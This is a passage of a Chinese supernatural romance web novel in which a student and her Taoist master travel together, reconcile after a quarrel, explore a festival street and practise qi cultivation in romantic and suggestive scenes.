傅清微是被甩开的,力道大得穆若水抽走手以后她的手臂还在空中晃了晃。 跟在后面的占英把这一幕震惊地收进眼底,叹为观止的同时确认了一件事:看观主闹别扭的样子,傅清微确实是1,太有实力了。 她回去要告诉师父。 酒店是傅清微昨天才定的,她要了个标间,占英把自己的身份证递上来,帮助刷脸登记了入住。 在阁皂山的民宿也是这么干的,当时是肖灵秀,现在是和傅清微牵过手的占英,穆若水的目光沿占英的脖颈绕了一圈。 占英后颈发毛,用围巾把自己脆弱的颈项围了好几圈。 占英把她们送到房间,功成身退,傅清微出来送她道:“非常抱歉,本来打算陪你玩一下的。” 占英:“哪里,我是东道主,没能陪好观主和你,是我该道歉才是。刚好我没来过这里,我待会自己出去逛逛,给师父买点礼物,你有什么事就打我电话,随时联系,明天我再送你们去高铁站。” “不用了,这里离高铁站很近。” “来都来了。” 傅清微一直送到电梯口,伸手按了电梯:“回去以后我请你吃饭。” “你还是别请了,我怕小命难保。”占英笑道。 傅清微又露出歉然的表情。 今天是有点冲动了,不该牵扯进旁人。 占英步入电梯,按住开门键,说:“你要是觉得愧疚,记得我和你提过的白姝的事,找个好机会说一说。” 傅清微点头:“我记得。” 占英又说:“要是观主还在生气就算了,我怕白姝小命也难保。” 傅清微:“嗯。” 占英松手,电梯门在傅清微面前缓缓合拢。 滴—— 傅清微刷第二张房卡打开了房门,穆若水背对她坐在书桌前,头上长了两只角,是前面的面具多出来的。 她又生气了。 一生气就不想傅清微见到她的脸。 傅清微进了洗手间,打开了水龙头,沾湿了水挤了洗手液,认认真真地按照七步洗手法洗手。 穆若水的嗅觉非常灵敏,玫瑰味的洗手液揉出泡沫后散发出香气,从满屋子的傅清微气味里分出一缕,钻进了她的鼻子。 鼻翼翕动。 穆若水面具底下绷着的脸勉强舒展开,仍皱着眉头。 傅清微把手擦干净,从后面环住女人的肩,弯下腰在她耳边诚恳地道歉:“对不起,我错了,请原谅我。” 穆若水一言不发,看向她握在自己肩膀的手,隐约的玫瑰香传来,没有另一个人的气味。 “道长~” 傅清微避开她的面具,温暖的脸去贴她冰冷的项颈,反复磨蹭。 穆若水抵在椅背的腰渐渐软化。 “原谅我,好不好?”傅清微一只手从肩膀垂落到她身前,避开敏感部位,斜过来半抱住她。 她的声音愈发轻柔,在她耳边娇娇地说话,每一次呼吸如羽毛轻软拂过。 “道长,道长~” “我真的知道错了,原谅我吧。” “道长师父~” 穆若水的腰彻底软了下来。 她闭了闭眼,说:“再有下次我就杀了她。” “绝不会有下次了,我发誓。” 穆若水摘下面具,红线自她的指间滑落,傅清微盯着她漂亮的手指,看着她将面具放在了桌子上,女人轻轻地叹了口气。 “你就仗着我不会离开你,有恃无恐。” 第62章 “你就仗着我不会离开你, 有恃无恐。” 女人低低的叹气声里回荡在屋内,带着无奈。 “是。”傅清微的声音竟有些细微的颤抖,仿佛不敢直面似的, 把脸埋进了女人的肩窝。 她发现穆若水随口说的一句话, 竟然点明了她的潜意识。 换在昨天以前, 她还在担心观主会因为各种各样的理由离开她,哪里敢和别人故意亲密让她吃醋, 激她生气, 千依百顺地哄着她还差不多。 一夕时移世易,攻守之势逆转, 她竟然胆大包天到和占英“卿卿我我”, 还敢以下犯上,对她大声说话,让她站住。 可不就是有恃无恐。 傅清微自小因为通灵的体质, 时常被鬼魂上身行事离奇恐怖, 家人和村子里的人视她为怪物,既想杀死她又畏惧她,被单独关在一间猪圈改造的小屋子里, 几乎没有任何亲密关系,后来她被一位婆婆带走收养。不幸的是婆婆在她高中时因病离世,傅清微再次孑然一身。 婆婆走了以后,她听她的话好好活着, 努力地学习、生活、工作,过来之不易的普通人的生活, 珍惜每一个清晨和夜晚。 唯独不敢奢望有人会陪她太久。 甘棠是她唯一的朋友, 但有朝一日甘棠要是离开她,她会很伤心, 却不会太过意外,她做好了所有人都会离开的准备,包括她自己。 有时候活着太累了,热爱生活也很累,总有爱不动的时候。也许有一天,当然,也可能会活到很久很久以后,她才会产生放弃的念头。人生就是仰卧起坐的过程,起得来很好,哪天起不来就躺下嘛。 一切都从灵管局找上她的那一天变了。 不,应该是说9月20日,她从那辆公交车上下来,走进了迷雾里的道观,开始有了转机。 一个睡在棺材里的神秘道士,咬了她的脖子。 一次、两次、三次。 留在了她的身边,住进了她的房子。 她脾气暴躁,又会纵容她,眼泪是百用百灵的最佳武器。 她讨厌所有人,唯独会亲近她,脸大的说一句,离了她她在人类社会寸步难行。 她觉得人类渺小,善良无用,却愿意帮助渺小脆弱的她,找到程玉汝的灵魂,助她安息。 她从天而降的时候没有踏着七彩祥云,只是一个脾气奇差,对她很好的古怪道长。 她有很多很多的秘密。 傅清微沉迷她的美色,享受同居一个屋檐下自然滋生的暧昧,荷尔蒙冲昏头脑许下永不分离,实际并不认为这段不知道该怎么定义的关系能长久。 后来她们吵架了。 因为她决定要去阁皂派拜师,没有事先告诉她,因为她做好了离开她的打算。 观主差点杀了她,可是她在面具底下哭了。 那天傅清微心里很难过。 观主对她说:我们会永远在一起。 原来她是认真的,没有当真的人只有她自己。 让傅清微更难过的是,自己仍然不相信她们会在一起。 她也想和观主在一起,不管她们还剩多少时间,她想留住她,再久一点。 她们启程出发去了阁皂山。 观主闹了一路的别扭,最后在高铁下车之前支撑不住地吻了她,虽然是为了得到她的气息。 之后的一次次亲密过界,傅清微夜晚闭上眼睛以后会想:这样她们更近一点了吗?她会留下来吗? 她也知道拜师以后她的注意力会转移到别的事物上,比如学艺,比如友好的师门,观主在她的生活里会找不到角色。 所以她想让观主成为新的角色,依旧占据她生命最重要的部分。 比如说,她的女…… 这样想胆子太大了些,她在心里都不敢说出完整的三个字。 再再之后,她成为了观主的徒弟,观主成了她的师傅。 女……啊不,师傅。 转弯转得太急了,傅清微到现在还是摇摇晃晃的,理不清脑袋。 但是从什么时候起,是昨天吗? 是“今生今世,矢志不渝”,还是“直到死亡将我们分开”,她相信了她们会永远在一起这件事。 她相信有一个人会永远不离开她,直到她这一生的尽头。 这就是她连求不敢奢求的,最宝贵的愿望。 她已经实现了。 但她现在在做什么? 恃宠成娇,得了便宜还卖乖,想要师徒的名分,要她矢志不渝,不想要师徒的距离感,继续任由自己的荷尔蒙泛滥,使性子,闹脾气,拈花惹草,只依自己的意志行事。 人可以贪婪,不知满足,但至少不能不知好歹,自私自利。 傅清微不知道观主为什么突然改变主意收她为徒,但她我行我素惯了,先前那么坚定地拒绝过,这次一定是下了很大的决心。 说不定她也像她一样纠结过很多个日夜。 她有什么错吗? 之前都是自己主动勾引的她,仗着自己的气息对她莫名其妙的吸引力,一而再、再而三,观主只是凭本能行事罢了。 反正她也爽到了,就当、就当互惠互利。 以前的事一笔勾销。 她想和她永远在一起,不管什么名分,如果师徒可以,她愿意一辈子给她当徒弟。 “我错了,师傅。” 傅清微的脸微微抬起来,贴着女人摘下面具冰凉的脸颊。 “道歉一次就好,你刚刚已经说过了。”女人的态度温和,甚至抬手覆在了她抱在她身前的手背。 “嗯。” 傅清微让她掌心的温度在手背多停留了一会儿,才不动声色地直起身。 “我下午想出去逛逛。”好不容易出一趟远门,占英都想着给她师傅带礼物呢。 “和姓占的?”穆若水瞬间挂脸。 别以为她是自己的徒儿就能肆意妄为,小心她清理门户。 “和你。”傅清微先说了一句,才小声询问,“可以吗?” “……” 穆若水神色几经变化,才汇成唇角一个勉强克制住的微小上扬弧度,板着脸道:“随你。” “谢谢师傅。” 傅清微语速飞快地高兴道,更快速的是她掠过穆若水脸颊的目光——徒儿亲一亲师傅的脸,是很正当的吧。 这次就算了,她还没准备好,下次一定! 穆若水从衣袖里掏出随身的黑色口罩,傅清微接过来,温柔地说:“我帮你戴吧,师傅。” 穆若水松了手,配合地低了一点头,傅清微的指腹擦过她美好白皙的耳朵,从左边绕到右边,挂好口罩。 穆若水近距离凝视她的脸,目光若有所思。 傅清微抬起眼帘,直视她:“怎么了吗,师傅?” “没什么。” 穆若水指背凑近她的脸,在她温顺的目光里,亲昵地蹭了一下。 很乖。 傅清微眨了一下眼睛,掩饰自己骤然错拍的心跳。 终于不是逆徒的傅清微讨得了观主的欢心,穆若水戴着口罩走在人潮里,一只手被她的乖徒儿牵在手里。 人类的手温暖潮热,手心贴着手心,牵紧了还会出汗,她讨厌黏腻,但穆若水可以为她破例。 傅清微作为一个还没毕业的女大,除了她旺盛的荷尔蒙,还有旺盛的好奇心,马上就是元旦了,温泉小镇作为一个人工打造的景点,为了吸引游客,已经装点起了迎新年的元素。 这边的建筑也偏向唐风,盛世的风采和满街挂起的大红灯笼更配了。 只是还是白天,灯笼没有亮起来。 傅清微兴致勃勃:“晚上我们再出来一趟好不好?” 穆若水动了动自己被牵得僵硬的手指,没有挣脱,只是活动了一下。 “你喜欢的话。” “谢谢师傅,你对我真好。” 傅清微当街抱住了她,旁边的摊贩侧目,穆若水旁若无人,拥住了她的腰。 “嗯。”穆若水有些不适应,但还是回应了她的热烈。 傅清微在心里数了十秒钟,贪恋到最后一秒,离开她的怀抱,牵着她继续往前走。 穆若水对外物没有兴趣,大部分时间都在看傅清微的脸。 “怎么不走了?” “太早了,好多摊位都没出来。”傅清微哪好意思说因为她一直在看自己,再看下去她要脸红了。 “那我们现在……” “先回去吧,我做套卷子再出来。”傅清微看看天色,两三个小时应该差不多了。 “好。” 两人手牵手回去,路过一楼大堂的时候,再次吸引了诸多目光,穆若水摘了面具,这身道袍和口罩也挡不住的美貌依然是人群焦点。 旁边的傅清微个子也高,鼻挺唇薄,容貌秀美,苍白失血的面孔多了一丝让人爱怜的保护欲。 小地方同性恋也不常见,立刻就有在沙发上坐着的人站起来,朝二人走过来。 “你好,能不能加一下……” “不能。”回答的是傅清微,同时站在了穆若水前方。 自恃有两分姿色的男人笑道:“我问的是你身后这位小姐妹。” “她是我……姐姐!我说不能就是不能!我们走。”傅清微拉过从头至尾不发一言的穆若水,两人快步进了电梯,把觊觎的目光挡在电梯后。 “烦死了,老是碰到这种人。”她抱怨说,很快又担心破坏自己在道长面前端庄温柔的形象。 她朝身边的人看去,穆若水在轿厢里低着头。 傅清微:“?” 穆若水控制住自己唇角浅浅的笑容,抬起头,面无异色道:“是,烦死了。” 众所周知,观主最正常的表情就是没有表情,用没有表情的脸说这种嗔怪的话,也太……可爱了。 傅清微容忍了自己心理上的大逆不道,附和道:“对。” 穆若水将脸转向别处,轿厢的金属壁映出她弯弯的眉毛。 * 傅清微在书桌前铺开自己带来的试卷,按照计划这是倒数第二套,她打算集中1-2周重温题型迅速掌握手感,过后复盘进行有针对性地提高。说实话她对这两门考公科目不那么担心,更忧虑的还是玄学题和实战,后者她一窍不通,要在三个月不到的时间赶上去,只能寄希望于她师傅了。 傅清微摒除杂念,看向了手边的第一道题。 穆若水在她后脖颈写字,痒痒的。 傅清微:“?” 傅清微回头:“你在做什么?” 穆若水说:“我给你画一道文昌符,可以提高你的正确率。” 傅清微:“不行啊,占科说这样算作弊。” 如果文昌符可以,那掐算是不是也可以?选择题禁止掐算,否则道士全都拿高分。考试会有考官监督,专门防这些玄学手段。一旦作弊被抓,永不录用。 穆若水哦了声。 “那只能靠你自己了,为师帮不上忙。” “也不是完全帮不上,你给我念经吧,我没听过的,最好实战能用的。” “你做题不会走神吗?” “还行,念吧。” 傅清微也是使唤上她师傅了。 她说完才小声补上征询:“可以吗?”屡试不爽。 “当然可以。” 傅清微一边做题,穆若水背手在屋子里踱步,给她念《太上元始天尊说北帝伏魔神咒妙经》。 “道言:昔于龙汉元年甲午之岁,元始天尊居上元之殿……” “灵宝符命,普告九天。斩妖缚邪,杀鬼万千……魔王束手,侍卫我轩。凶秽消散,道炁长存。急急如律令。” “此咒北帝神秘之法,禳灾却祸,救护生人,男女长幼,总可奉行。” …… 此经共三万四千字,穆若水一停不停,足足念了三个多小时,连一口水都没喝。 傅清微题都做完了,正确率不说了,作弊提高太多她不好意思。她开了桌上的矿泉水,拧开递给穆若水,穆若水摆了摆手,继续拿着手机给她念经。 嗯?拿着手机? “……一切众生,同证无为之道。演法将毕,稽首奉行。”女人质疏如珠玉,清冷沉静的声音停下来,她在手机上按了一下,接过傅清微手里的矿泉水,一口气喝了小半瓶。 仰起的颈项修长如玉,不明显的喉骨来回滑动,傅清微看着她喝完了水,视线落在她沾了水的湿润薄唇。 她垂下眼,递来纸巾。 “师傅,擦一擦。” “嗯。” 穆若水一面用纸巾按了按自己的唇,一面将手机递给她。 “这是……”傅清微看着显示205分钟的录音文件。 “我刚录好的。”穆若水说,“省得下次还要念。” “……” 原来她不肯喝水就是为了一次性录完经文。 她就用过一次录音功能,观主就活学活用了,如果是她去考灵管局,想必事半功倍。 观主真的很聪明。 傅清微曾不止一次在心里感叹,随之而来的都是担心她如风捉不住,如水向东流,半点不由人。 但现在不会了。 傅清微露出一个温暖的笑容,说:“我会好好听的,谢谢师傅。” 穆若水抬手揉了揉她的长发。 她不经意瞧见窗外点点灯火,说:“天已经黑了啊。刚好,你不是要出门?” “我换身衣服。” “不是早上刚换过?”穆若水看着她往卫生间的背影。 “裤脚有点脏了。” “哦。” 观主哪懂什么约会的仪式感,反正她就一身衣服,说起来这身衣服是显眼了些,要不…… 换上新衣服的傅清微再一次和穆若水手牵手出现在热闹的街市上,满街的红灯笼都亮了起来,沿街的窗户插上了小彩旗。今天是周末,第一个休息日,平时被困在公司和学校里的牛马和牛马后代都出了笼,得到短暂的快乐。 说摩肩接踵有点夸张,但放眼望过去都是人。 傅清微其实也不喜欢人多,但她太喜欢和观主手牵手穿过人潮的感觉,身边有那么多的陌生人来来往往,她们的眼睛只会看向彼此。 有小孩冲撞跑过来,穆若水提前搂过傅清微的腰往旁边避开。 小孩跑过去了,她的手仍环在她腰上,没有离开。 今夜有很多个这样的瞬间,织成一张密密的柔软情网,裹住那颗年轻跳动的心。 傅清微和转过头的穆若水对上视线,慢慢从心跳中回神,说:“我饿了。” “想吃什么?” 穆若水看了看街边的酒肆、菜馆,以及路旁热气腾腾的小吃摊,选哪个都行。 “炒菜还是小吃?” “小吃。可以边吃边逛。” “好。”穆若水的手从她腰上滑下来,主动找到她的手。 不分地域,每条商业街的特色小吃大同小异,傅清微逛过无数次,却跟第一次见似的,勾着穆若水的手从这边看到那边,都想尝一尝。 “想吃萝卜丝饼。” 穆若水给她扫码付款。 新鲜油炸出锅的萝卜丝饼金黄,装进纸袋里,傅清微吹了口气,咬了一口,脆香在味蕾化开。 她把手递到穆若水唇边,特意换到没咬的那端,穆若水摇头:“太油了。” 傅清微在下一家买了桂花糕,白乎乎的糕点,一抹浅蜜色的桂花酱缀在上方流动,傅清微捧在手里吹凉后,尝了一口,说:“不是太甜,你要试试吗?” 穆若水凑近她停留在身前半空的手,偏头就着她吃过的那块糕点缺口咬下,红唇轻轻开合,含进口中。 “还不错。” 傅清微举着剩下的糕点不知所措。 她纤长的睫毛颤了颤,把最后的一点桂花糕送进了嘴里,吃了很久很久。 最后还是坐进了一家面馆。 这家面馆是老字号,据说开了几十年了,网上说一定要来打卡,两人拿号排了一会儿队才进来。 两个人点了一碗面,上来后傅清微先让观主尝了两口,得到的评价是:“要不要我去给你买瓶水。” 傅清微:“?” 穆若水顿了顿:“对你来说可能有点辣。” 傅清微不是土生土长的西南人,吃辣程度一般,刚好来到了一个嗜辣的省份,她点菜的时候为了原汁原味,也没说要微辣的。 “要不……”傅清微把碗往她面前一推,郑重道:“你吃吧。” “……” 又这样。 她为什么要说又? “开玩笑的。”傅清微见她沉默,脸色也不怎么好,怕她生气,将面碗挪回来,不忘圆场道,“还没吃呢,万一我觉得不辣,哈哈。” 穆若水嗯了一声。 不带感情的时候,音色惯例的冷:“试试。” 傅清微用筷子挑起两根面条,第一口没事,第二口还行,第三口她已经在不停地哈气,用手扇风,嘴唇通红,双眼含泪。 又菜又爱玩。 “……” 穆若水起身离开。 走到一半她回头,对上傅清微仰起来看向她的脸,说:“我去买水,在这等我。” 傅清微辣得说不出话,只能点头。 观主居然会对她说去哪里了。 便利店就在五十米开外,穆若水扫码付了账,拎着一瓶矿泉水往回走,她站在街道这头,长长的巷道灯火通明,火树银花,大人小孩穿梭在人群中,路过呆立在路边的修长人影。 穆若水下意识避让,擦肩而过的瞬间却看不清对方的脸和穿着。 穆若水回头凝望一大一小的背影,目送她们慢慢走入了雾里。 兜里的手机响了起来。 穆若水接起来,视线仍在远处,雾气散尽,只余人间灯火。 “喂。” “你在那里站着做什么?” 穆若水回过头,不远处傅清微坐在棚子里向她招手,一只手举着手机贴在耳边。 穆若水低声道:“就来。” 挂断了电话。 傅清微接过拧开的矿泉水瓶,喝了两口解辣,问她:“看到了什么?” 穆若水已经不记得了。 “什么?” “什么什么,你一直在那边发呆。” “是吗?”穆若水看着掌心指甲掐出来的印记,这是上次她发现自己记忆被动了手脚之后,她给自己定下的心理暗示,一旦想起点什么,就会掐住掌心。 记忆会立刻消失,但掐痕不会马上不见。 “忘记了点事情。”她说。其实今天有两道,一道是“又”,一道是刚刚。 “很重要吗?”傅清微问。 “不知道。” 傅清微放下筷子,托腮看着她。 观主从来不会露出脆弱和茫然,即使能让她主动掐自己的应该是大事,但她的表情永远是冷冷的。 她从她身上感受到了杀意。 “师傅,你是不是在想你的仇人?” “我并不知道他是谁。” 她的神色越来越冷,隐有戾气。 傅清微知道自己不该再问下去,于是换了个角度道:“以后我们俩在一起,你有什么事都告诉我,我帮你记。我记性挺好的,从来不会忘事。” “好。” 这件事傅清微帮不上忙,但穆若水还是心领了她的好意。 “还吃面吗?” “算了,味道挺好,就是太辣了。” “再点一碗微辣的?” “诶?”傅清微本来都打算遗憾离开,眼睛亮了亮,“还可以这样?” 确实可以这样。 今天的单穆观主全买了,岁主任掏的钱。 傅清微吃着一碗不太辣的面,终于找到机会说了白姝的事。 说到占英欺瞒她,骗她说是外地妖鬼干的,穆若水冷笑了一声:“她以为我不知道吗?” 傅清微震惊:“你知道啊?” 穆若水:“我当然知道,我还知道你脖子里的玉是一件防身法器,出门才戴上的,想必是她贿赂你的。” 贿赂这个词用的…… 傅清微的重点都在中间,这几天她们俩睡一张床,观主把她扒光好几次的舔,确实是什么玉也藏不住。 傅清微咳了声,荡清绮思,说:“你知道为什么不戳穿她?” 穆若水:“戳穿她有用?她执意要保妖鬼,阳奉阴违,除了杀她出气,也没别的办法。她还有点用。” 权衡利弊穆若水睁一只眼闭一只眼地放过去了。 找一只躲起来的妖鬼大海捞针,穆若水再神通广大也费时费力,不如守株待兔。 穆若水:“再者说,不假装信了她现在怎么找上门贿赂你,让你替妖鬼求情?你跟她说,我要妖鬼的下落,否则她这条命我现在就去取。” 傅清微连忙道:“我答应了饶她一命的。我出尔反尔,就是师门出尔反尔,有堕蓬莱威名啊!” 穆若水默然半晌,唇角很轻地翘了翘。 “你……” 她怎么收了这么个会花言巧语的徒儿。 长得像朵花儿,一开口也舌灿莲花。 穆若水伸手一指头轻轻弹在她脑门上,说:“我有事想问妖鬼,保证不取她性命。既然你都已经答应了,我不会让你言而无信,堕了你的威名。” “谢谢师傅,我这就给占科发消息。” “就只有一块玉吗?” “还有一条五帝钱的手串,一枚发簪。” “让她再进贡两件,不,三件。” “这样真的好吗?”傅清微从手机屏幕前慢慢抬起头,要知道她才毁了三张符箓啊。 “你可是毁了三张符箓,我没杀她三次已经是仁慈。”那天晚上傅清微还哭了。那只妖鬼本该被挫骨扬灰。 原来一张符箓等于一条命啊,这放到编程里也是很难成立的算法,但在观主这里可以。 傅清微转达了穆若水的话。 占英:【………………】 傅清微:【她知道你骗了她白姝的事】 占英:【我肯定办得漂漂亮亮的!请观主静候佳音!】 搞定! 傅清微把剩下的面吃了,回去路过小吃摊又买了根糖葫芦,花师傅的钱天经地义。 她发现穆若水喜欢吃酸甜口的,破天荒地吃了两颗山楂。 “好吃吗?” “嗯。” 傅清微站在红灯笼下,看着她从自己手上咬下山楂,衔着红果的样子,不经意和脑海里某幅画面重合。 她修长的指节穿进女人的发丝,两只手托起她的脸,潮湿的春意蔓延到清冷的脸颊,眼尾沁红,殷红的唇布满湿润的水光。 月色朦胧,胸口的酸胀又蓬勃几分。 她将自己捧上前,侵入她的唇齿,问:“好吃吗?” 女人温暖的唇舌紧紧地裹住她,不留空隙,只从鼻音里轻轻地附和。 “嗯。” 第63章 她只嗯了一次, 傅清微却嗯了很多声,或长或短,或高或低。 傅清微面对面坐在她怀里, 仰起颈项, 五指梳理着女人后脑的发丝, 时而对方埋得深了,她修长的指尖便摸索到对方的下巴, 指腹来回摩挲她的脸颊、耳朵, 以此来抵御越来越强烈的感受。 她也会在中途抬起穆若水的脸,低头想看看她沉溺的神情。 女人唇瓣湿红, 眼角微垂, 潮热让她清冷的脸染上薄红,明明她的唇舌在热情索取,她的眼神里却没有太多激烈的情绪。 黑玉一样的眸子幽深得吞噬所有光线, 无悲无喜, 身在红尘却不染尘埃的神祇。 傅清微蒙上她的眼睛,再次闯入她的唇齿,不去看她的眼, 只感受她带给她的激情和感官极致。 * 一阵凉风吹过来,傅清微没戴围巾的大衣领口袭来寒意,她低头咬掉最后一颗糖葫芦,木签子丢进身边的垃圾桶, 被红灯笼晕出红色的脸庞在走入正常光线里消失不见。 穆若水冰冷的手指牵在她的掌中,捂不热半分, 反而只有更冷的潮湿。 牵连得傅清微的手也失去温度。 傅清微干脆连她的手一起揣进大衣口袋, 汲取的一丝丝暖意被牵在一起的手平分。 穆若水扭头看了看她的侧脸。 “没有人了,你可以不用牵着我。” “习惯了。”傅清微目视前方, 张口就来,明明昨天才第一次牵手。 “……” 没有传来穆若水的回应,应该是默认了。 两人直到回到酒店房间才松开了一直牵着的手。 傅清微插上取电卡,说:“你先洗澡还是我先洗澡?” “不是一直你先的吗?” “尊师重道。” “爱徒如爱子。” “?” 这下真成女儿了,还不如早些认了祖宗呢。 都是大逆不道,欺师灭祖。 傅清微深深地吸了一口气,说:“那我先去洗澡了,师、傅。”最后两个字她咬了重音。 “去吧。”观主轻描淡写,说,“有事记得叫为师。” 傅清微打开角落里的行李箱摊平,把睡衣找出来,从收纳袋里拿内裤的时候手停顿了一下:她要是故意忘带内裤,让观主送进去会怎么样? 善良正直的女大最终放弃了这个想法。 老老实实地洗完了澡,换上冬天的长袖睡衣,扣子扣到第二颗。 “我洗好了,师傅。” 傅清微盘腿到床上打坐,少说一两个小时,最好她打坐完房间里一片黑暗,穆若水已经睡了。 淋浴的水声在耳边响起来。 傅清微渐渐进入了忘我的状态。 今天的修炼意外地顺利,源源不断的后天之炁进入身体,充盈满沛,几乎到达了经脉所能容纳的最大宽度,有一股霸道的力量牵引着刚刚吸纳的炁一遍一遍游走她的全身,运行小周天,冲击了好几次,最终阴阳之气汇于头顶百会。 好热。好痛。 为什么突然?! 傅清微要睁眼。 头顶传来一道声音:“别动。” 傅清微听出声音的主人,任由汗水从额头滴落到下巴,青筋扭曲,也保持着原来的姿势。 她轻轻地闷哼了一声。 穆若水松开了握着她手腕注入真气的手。 傅清微脸色惨白,汗如雨下。 穆若水:“人体有三关,尾闾、夹脊、玉枕,用你喜欢的武侠小说来解释,就是任督。任督通,百脉通。你现在的身体太孱弱,日后我再助你通十二正经、奇经八脉。” 穆若水背着手,站在她面前。 “你觉得热是因为走的是阳炁上升之路,尾闾经漕溪,至夹脊关,最后是玉枕,百会。你觉得痛是因为经脉阻塞,炁流不畅,下次就不会了,随着小周天的熟练运行,痛感会越来越轻。” 傅清微知道百会在头顶,玉枕在脑后,都是大概位置,并不精准。至于剩下的那两个穴位,可谓一窍不通。 她茫然地眨了眨眼:“师傅,这些穴位在哪儿?” 穆若水:“……” 现代人类太差劲了,穴位图都不背。 傅清微察言观色,态度端正,举手道:“我马上去网上下单穴位图,您先教我一次。” “不用举手。” 穆若水走上前来,依次用指尖点了她的百会、玉枕、夹脊。 夹脊的时候她动作就变慢了,傅清微随着她的手越来越往下,也大概猜到尾闾在什么地方。 她的身形不自觉变得僵硬。 穆若水最后点在她的尾闾,说:“在这里,能感觉到为师吗?” 傅清微夹紧了,脸色涨红:“能、能感受到。” “放松一点,为师找不到了。” “我,我放松了。” “不要害羞。” “我没害羞,啊。” “你叫什么?” “可能是我生性爱叫吧。”傅清微一紧张就容易胡言乱语,在对方沉默许久后,说,“我痒,师傅。” 穆若水:“痒就说痒,别说些为师听不懂的。” 她把手收回去,二指捻了捻指尖。 傅清微红得跟番茄有一拼,浑身都软了,就差瘫成一摊水。 穆若水还没放过她:“夹那么紧,你紧张?” 傅清微:“……” 救命啊。 穆若水低下头,唇角抿了抿笑容,方抬起脸道:“一身汗,去洗个澡吧。” 傅清微如蒙大赦,连滚带爬地从另一边下床,说:“是,师傅。” 她飞也似的冲进了洗手间。 衣服丢到一边,进入打开了热水的淋浴室里,把热到极致又冰冷的汗水冲去,包括沁出的点点湿露。 傅清微用浴巾包裹住自己,和睡衣大眼瞪小眼。 进来的太快,已经不是忘拿内裤的事了,她什么也没拿。 傅清微挪到门边,开了条门缝,确保自己最小的声音能以最大的方式传出去:“师傅,师傅?” 穆若水的身影出现在她的视线里,把她从头到脚看了一遍。 明明隔着一道门,傅清微却感觉被她里里外外看了个精光,跟没穿衣服似的。 虽然她现在确实通身只有一条浴巾。 ——记忆里好像不是第一次了。 穆若水饶有兴致地抬了抬眉毛:“有事?” 傅清微身子往门后缩了缩,玉白的脚趾在拖鞋里蜷了蜷,说:“我忘记拿衣服了。” “衣服放哪?” “行李箱,左边有一件长T恤,白色胸前有字的。” 穆若水走到墙角,在行李箱面前蹲下,翻到她要的白色T恤:“朕,龙颜大不悦。这件吗?还是啊对对对?” “啊对对对。” 听起来有点让人生气怎么回事? 穆若水挑了右手边那件较长的,刚要起身,探出一个脑袋的傅清微说:“再来条内裤。” 穆若水啧了声:“我是开饭馆的?”说的跟来条鱼一样。 穆若水把T恤连同整个收纳袋都递给她。 “冒冒失失。” “谢谢师傅。”一秒把门关上。 傅清微在里面火速穿衣服,什么暧昧,根本没心思暧昧。 穆若水在门外面背对她说:“没有我你怎么办?” 傅清微三角布料刚穿到脚踝,心田慢慢滋生出温暖的情绪,她急躁的动作也被安抚,正常地贴合了身体,打开门说:“不会没有你。” 穆若水赞同地点头:“倒也是。” 傅清微心想:再说没有你,我就围着浴巾出来了。 标间两张床都是一米二的,中间五十公分距离。傅清微的床靠近门的那侧,率先爬了上去,坐到床头开始下单穴位图,顺便邀请穆若水帮她参谋参谋。 在穆若水的随手一点下,傅清微付了款。 穆若水直起身,事后才悠悠地说:“穴位图只是辅助,人体练习才是主要。到时候还是要为师亲自给你指。” “指哪里?”傅清微颤着声音问。 她刚刚看图的时候特意关注了一些穴位,比如会阴穴、阴廉穴、气冲穴、急脉穴……全在下三路,位置一个比一个刁钻。全按一遍,真的会让人当场那个的。 “哪里需要就按哪里。” “那我可以在师傅身上练穴位吗?”傅清微灵机一动。 “可以啊。”穆若水掀开被子,坐进去,朝她一笑,“你打得过我就可以。” “……” 穆若水已经躺好了,平淡说:“不要紧张,只是正常练习。” 傅清微看向隔壁闭上眼睛准备睡觉的穆若水,心想是你摸我,你当然不紧张。 转念她又一想:为什么要强调正常练习,难道她也想过不正常的练习方向吗? 傅清微关了灯。 “晚安,道长师傅。” “晚安。”女人鼻音懒懒地回道。 傅清微入睡一向快,今天刚被女人用真气牵引打通经脉,更是需要睡眠养精蓄锐,不多时隔壁床就传来均匀的呼吸声。 穆若水轻轻地翻了一个身,面向窗帘的那边,睁开了眼睛。 ——放松一点,为师找不到了。 ——我,我放松了。 ——不要害羞。 ——我没害羞,啊。 ——你叫什么? ——我痒,师傅。 按个尾闾她就这样浪了,以后…… 穆若水长长地闭了一下眼睛。 以后认穴的时候,把她的嘴捂上吧。 其实叫两声也没什么,穆若水反思自己,是她心不静,当了师傅心还是不净。 算了,叫就叫吧。 自己可以坐怀不乱。 穆若水从侧边翻回来,偏头瞧了瞧已经睡熟的傅清微,把被子拉到肩膀,合上了眼睛。 * 通往鹤市的高铁九点出发,傅清微这次买到的还是前排1+1的两个商务舱座位,和后排1+2被迫坐一起的一对陌生人换了位置,陌生人欢天喜地去了前排,她和穆若水并排坐在了一起。 自从拜师前一晚喂过奶以后,观主又有三天没有贴她了。傅清微不确定她是只需要靠近自己还是必须亲密接触,如果是后者的话,差不多也该发作了,她们俩坐一起比较方便。 当然,就算观主不发作,她就是想和她离得近一点。 傅清微打算回去先考驾照,在网上预约了科目一考试,打开小桌板开始刷行测题。 下午一点,傅清微吃完了列车员送来的午饭,正是犯困的时候,把座椅放平了睡觉,穆若水坐在她身边。 她睡之前对方是坐着的,睡到一半耳边传来压抑的轻喘声。 香气还是熟悉的香气,傅清微伸手一捞把她压进自己怀里,才迷蒙睁眼问道:“怎么了?” 车厢里戴着耳机的,玩手机,看电脑的,随时都会看过来,她声音低得只有怀里的穆若水能听见。 穆若水难耐地贴着她的脖颈,并没有往前,否则也不会喘到现在还不停。 傅清微摸了摸她温度比平时高的后颈,小声说:“你可以亲我。” 穆若水垂眼:“我是你师傅。” 傅清微:“看着你难受却不管你,算什么好徒儿?” 穆若水拉开距离,试图直起身,说:“算了,我再忍忍。” 傅清微反手按住她手背,说:“忍到什么时候,回家你还是得亲我,或者喝我的血。古人尚且有卧冰求鲤,我为师傅牺牲一点色相怎么了?” 穆若水被她说蒙了。 色相是可以这样类比的吗? 傅清微温柔道:“不要犹豫了,你要是有心理负担,就轻轻地亲几下,没关系的。” 穆若水实在是难受,刚刚车厢里的男人停站的时候下去抽了烟,回来一身烟味,用傅清微的味道盖不过去。 她低低地嗯了一声,鼻尖挨着年轻女人柔白的玉颈,一点一点地蹭过去。 鼻子和唇的距离那么近,时不时嘴唇便会碰到,她像惊弓之鸟,碰到一次往回缩,但下一次还是会不小心擦过唇瓣,周而复始。 这种蜻蜓点水,又一次点水,每一次都是未知的刺激感,心荡神驰,反而胜过了原始的亲密。 